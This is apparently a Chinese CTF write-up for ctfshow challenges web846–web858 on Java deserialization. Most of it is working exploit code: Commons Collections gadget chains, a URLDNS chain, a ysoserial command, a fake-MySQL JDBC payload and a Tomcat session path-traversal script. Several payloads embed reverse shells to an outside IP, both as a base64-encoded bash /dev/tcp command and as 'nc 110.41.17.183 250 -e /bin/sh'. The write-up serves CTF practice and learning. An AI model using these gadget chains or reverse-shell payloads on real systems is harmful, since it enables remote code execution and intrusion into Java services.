java 反序列化

web846

读取生成payload的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Base64Encoder {
public static void main(String[] args) throws Exception {
// 替换为你的字节码文件路径
// String filePath = "E:\\漏洞复现\\cc\\CC1\\target\\classes\\HelloTemplatesImpl.class";
String filePath = "E:\\漏洞复现\\cc\\CC1\\ser.bin";
byte[] classBytes = Files.readAllBytes(Paths.get(filePath));
String encoded = Base64.getEncoder().encodeToString(classBytes);
System.out.println(encoded);
}
}

简单来说就是构造题目地址的dns查询,用dnsurl那条链构造就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class DNSURL {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://4b11f5a3-f961-44ad-aaa7-94e9d56fbf46.challenge.ctf.show");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123132);
hashMap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashMap);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web847

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));



//创建InvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);


//因为InvocationHandler接收的是mao,所以这里代理的类型也得是map,想调用h的invoke,就像下边这么写就行,具体的我还不是很懂
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);



//继续实例化一个InvocationHandler来接收map
InvocationHandler o = (InvocationHandler) constructor.newInstance(Override.class,mapProxy);

Class c2 = LazyMap.class;
Field factory = c2.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(o);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1Test2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));



//创建InvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);


//因为InvocationHandler接收的是mao,所以这里代理的类型也得是map,想调用h的invoke,就像下边这么写就行,具体的我还不是很懂
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);



//继续实例化一个InvocationHandler来接收map
InvocationHandler o = (InvocationHandler) constructor.newInstance(Override.class,mapProxy);

Class c2 = LazyMap.class;
Field factory = c2.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(o);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web849

CC4的两条链子都可以,注意tp链加载的恶意类得继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC42 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\cc\\CC1\\target\\classes\\shell.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//对第一个进行的调用
priorityQueue.add(templates);
//第二个可以不传
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web850

这里撑不住了,只能上ysoserial了,个人感觉可能是代理类的问题

1
java -jar ysoserial-all.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}"|base64

web851-web853

cc4,这里在反射之前用来修改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class ctfshowTest {
public static void main(String[] args) throws Exception {
// TemplatesImpl templates = new TemplatesImpl();
// Class ct = templates.getClass();
// byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\cc\\CC1\\target\\classes\\shell.class"));
// byte[][] bytes = {code};
// Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
// ctDeclaredField.setAccessible(true);
// ctDeclaredField.set(templates,bytes);
// Field nameField = ct.getDeclaredField("_name");
// nameField.setAccessible(true);
// nameField.set(templates,"Chu0");
// Field tfactory = ct.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
//
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(TrAXFilter.class),
// new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
// };
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 110.41.17.183 250 -e /bin/sh"})
};
Transformer transformerChain2 = new ChainedTransformer(transformers);

//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
System.out.println(declaredConstructor);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, new ConstantTransformer<>(2));
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, new ConstantTransformer<>(2));

defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");

Class c = DefaultedMap.class;
Field transformers1 = c.getDeclaredField("value");
transformers1.setAccessible(true);
transformers1.set(defaultedMap1,transformerChain2);
transformers1.set(defaultedMap2,transformerChain2);


serialize(hashtable);
//unserialize("./ser.bin");
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(hashtable);
// String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
// System.out.println(payload);

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

给两个版本吧(其实主要是为了自己看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class ctfshowTest {
public static void main(String[] args) throws Exception {
// TemplatesImpl templates = new TemplatesImpl();
// Class ct = templates.getClass();
// byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\cc\\CC1\\target\\classes\\shell.class"));
// byte[][] bytes = {code};
// Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
// ctDeclaredField.setAccessible(true);
// ctDeclaredField.set(templates,bytes);
// Field nameField = ct.getDeclaredField("_name");
// nameField.setAccessible(true);
// nameField.set(templates,"Chu0");
// Field tfactory = ct.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
//
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(TrAXFilter.class),
// new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
// };
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] faketransformers = new Transformer[]{
new ConstantTransformer(2)
};
Transformer transformerChain2 = new ChainedTransformer(faketransformers);

//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
System.out.println(declaredConstructor);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);

defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");


Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain2,transformers);

//
// Class c = DefaultedMap.class;
// Field transformers1 = c.getDeclaredField("value");
// transformers1.setAccessible(true);
// transformers1.set(defaultedMap1,transformerChain2);
// transformers1.set(defaultedMap2,transformerChain2);


serialize(hashtable);
unserialize("./ser.bin");
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(hashtable);
// String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
// System.out.println(payload);

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web854

DefaultMap绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CCBypassLazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 110.41.17.183 250 -e /bin/sh"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
//Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

DefaultedMap defaultedMap = new DefaultedMap(chainedTransformer);
//创建InvocationHandler
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "123");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new ConstantTransformer(1));

Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

web855

题目做了半天也没复现出来,放个源码先等等吧

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package com.ctfshow.entity;

import java.io.*;

public class User implements Serializable {
private static final long serialVersionUID = 0x36d;
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}


private static final String OBJECTNAME= "ctfshow";
private static final String SECRET="123456";

private static String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;



private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
int magic = in.readInt();
if(magic==2135247942){
byte var1 = in.readByte();

switch (var1){
case 1:{
int var2 = in.readInt();
if(var2==0x36d){

FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
byte[] temp = new byte[1];
while((in.read(temp))!=-1){
fileOutputStream.write(temp);
}

fileOutputStream.close();
in.close();

}
break;
}
case 2:{

ObjectInputStream.GetField gf = in.readFields();
String username = (String) gf.get("username", null);
String password = (String) gf.get("password",null);
username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
.replaceAll(" {2,}", " ");
User var3 = new User(username,password);
User admin = new User(OBJECTNAME,SECRET);
if(var3 instanceof User){
if(OBJECTNAME.equals(var3.getUsername())){
throw new RuntimeException("object unserialize error");
}
if(SECRET.equals(var3.getPassword())){
throw new RuntimeException("object unserialize error");
}
if(var3.equals(admin)){
Runtime.getRuntime().exec(shellCode);
}
}else{
throw new RuntimeException("object unserialize error");
}
break;
}
default:{
throw new RuntimeException("object unserialize error");
}
}
}

}


//step1

// private void writeObject(ObjectOutputStream out) throws Exception {
// //将名字反转写入二进制流
// out.writeInt(2135247942);
// out.writeByte(1);
// out.writeInt(0x36d);
// File filename = new File("src/main/java/com/ctfshow/entity/hack"); //gcc生成的文件位置
// BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename));
// ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024);
// byte[] temp = new byte[1024];
// int size = 0;
// while((size = in.read(temp)) != -1){
// out2.write(temp, 0, size);
// }
// in.close();
// byte[] content = out2.toByteArray();
// out.write(content);
// out.defaultWriteObject();
// }


//step2


private void writeObject(ObjectOutputStream out) throws Exception {
out.writeInt(2135247942);
out.writeByte(2);
out.defaultWriteObject();
}

@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}

@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}


}

web856

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class User implements Serializable {
private static final long serialVersionUID = -7205095498817563965L;
private String username;
private String password;

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}


@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}

@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}




}

payload如下,反射修改值,利用MySQL_Fake_Server结合ysoserial进行反弹shell,这里有一个坑点,执行MySQL_Fake_Server的机器的java版本会影响payload的生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class web856 implements Serializable {
public static void main(String[] args) throws Exception{
Connection connection = new Connection();
Class aClass = connection.getClass();
Field host = aClass.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"110.41.17.183");
Field port = aClass.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,3306);
Field user = aClass.getDeclaredField("user");
user.setAccessible(true);
user.set(connection,new User("yso_CommonsCollections4_nc 110.41.17.183 250 -e /bin/sh","123456"));
Field schema = aClass.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:mysql");
Field database = aClass.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(connection);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

web857

https://forum.butian.net/share/1339

postgresql

  • 42.3.x < 42.3.3
  • 42.1.x

使用指定的connection和user类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class web856 implements Serializable {
public static void main(String[] args) throws Exception{
Connection connection = new Connection();
Class aClass = connection.getClass();
Field host = aClass.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"110.41.17.183");
Field port = aClass.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,3306);
Field user = aClass.getDeclaredField("user");
user.setAccessible(true);
user.set(connection,new User("yso_CommonsCollections4_nc 110.41.17.183 250 -e /bin/sh","123456"));
Field schema = aClass.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:mysql");
Field database = aClass.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(connection);

byte[] payloadBytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(payload);
}
}

web858

tomcat session反序列化

Apache Tomcat: 10.0.0-M1 to 10.0.0-M4

Apache Tomcat: 9.0.0.M1 to 9.0.34

Apache Tomcat: 8.5.0 to 8.5.54

Apache Tomcat: 7.0.0 to 7.0.103

简单来说就是生成一个a.session,当cookie设置为a目录的时候,就会反序列化a.session传入的内容

漏洞位置

1
2
3
4
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}

现在只需要传个a.session过去,再带着JSESSIONID访问即可

1
2
3
4
5
6
7
8
import requests

url = 'http://eee0fb6c-b57e-4a67-b479-2decd1034e97.challenge.ctf.show/'
cookies = {
"JSESSIONID":"../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a"
}
response = requests.get(url=url,cookies=cookies)
print(response.text)

访问url/flag.txt拿到flag